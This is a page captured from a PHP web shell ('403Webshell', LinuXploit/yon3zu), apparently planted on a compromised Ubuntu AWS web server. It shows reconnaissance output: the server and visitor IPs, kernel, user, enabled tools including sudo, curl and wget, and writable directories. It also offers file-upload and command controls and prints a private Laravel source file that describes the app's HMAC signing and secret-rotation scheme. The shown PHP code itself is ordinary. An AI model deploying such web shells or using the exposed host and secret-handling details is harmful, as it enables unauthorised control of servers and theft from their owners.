403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/codex/current/app/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/codex/current/app/Services/RevalidateClient.php
<?php

namespace App\Services;

use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;

/**
 * Posts a single revalidation tag to the Next.js dashboard's
 * /api/revalidate endpoint.
 *
 * The HTTP body is the BYTE-EXACT string
 *   json_encode(['tag' => $tag, 'ts' => $ts], JSON_UNESCAPED_SLASHES |
 *               JSON_UNESCAPED_UNICODE)
 * and is sent via Http::withBody($body, 'application/json') — never
 * Http::post(['tag' => …]), which re-serialises the array and breaks
 * signature verification non-obviously. The Next.js verifier reads
 * req.text() before JSON.parse for the same reason.
 *
 * Signature: hex(hmac_sha256(secret, raw_body)). Header:
 *   X-Codex-Signature: sha256=<hex>
 *
 * Rotation: CODEX_REVALIDATE_SECRETS is a comma-separated list. The
 * FIRST entry is the active write key. All entries are accepted on
 * verification (the Next.js side). Two-step rotation:
 *   1. Append the new secret as the SECOND entry on both hosts
 *      → verifier accepts both, writer still uses old
 *   2. Swap to new,old on writer first → drop old from verifier next
 *      deploy
 * No window where in-flight POSTs fail.
 *
 * Failure isolation: wrapped in a try/catch so a downed Next.js host
 * never blocks an admin write. On failure we log + accept the
 * fallback (3600s revalidate TTL on the dashboard).
 */
class RevalidateClient
{
    public function post(string $tag): bool
    {
        $secrets = $this->secrets();
        if ($secrets === []) {
            Log::warning('codex.revalidate.no_secret', ['tag' => $tag]);

            return false;
        }

        $url = $this->nextRevalidateUrl();
        if ($url === null) {
            return false;
        }

        $body = json_encode(
            ['tag' => $tag, 'ts' => time()],
            JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE,
        );
        $signature = 'sha256='.hash_hmac('sha256', $body, $secrets[0]);

        try {
            $response = Http::timeout(2)
                ->withHeaders([
                    'Content-Type' => 'application/json',
                    'X-Codex-Signature' => $signature,
                ])
                ->withBody($body, 'application/json')
                ->post($url);

            if (! $response->successful()) {
                Log::warning('codex.revalidate.unsuccessful', [
                    'tag' => $tag,
                    'status' => $response->status(),
                ]);

                return false;
            }

            return true;
        } catch (\Throwable $e) {
            Log::warning('codex.revalidate.exception', [
                'tag' => $tag,
                'message' => $e->getMessage(),
            ]);

            return false;
        }
    }

    /** @return array<int, string> */
    private function secrets(): array
    {
        $raw = (string) (Config::get('codex.revalidate.secrets')
            ?? env('CODEX_REVALIDATE_SECRETS', ''));

        return array_values(array_filter(
            array_map('trim', explode(',', $raw)),
            fn (string $s) => $s !== '',
        ));
    }

    private function nextRevalidateUrl(): ?string
    {
        $base = Config::get('codex.revalidate.next_revalidate_url')
            ?? Config::get('codex.next_revalidate_url')
            ?? env('CODEX_NEXT_REVALIDATE_URL');

        if (! $base) {
            return null;
        }

        return rtrim($base, '/').'/api/revalidate';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit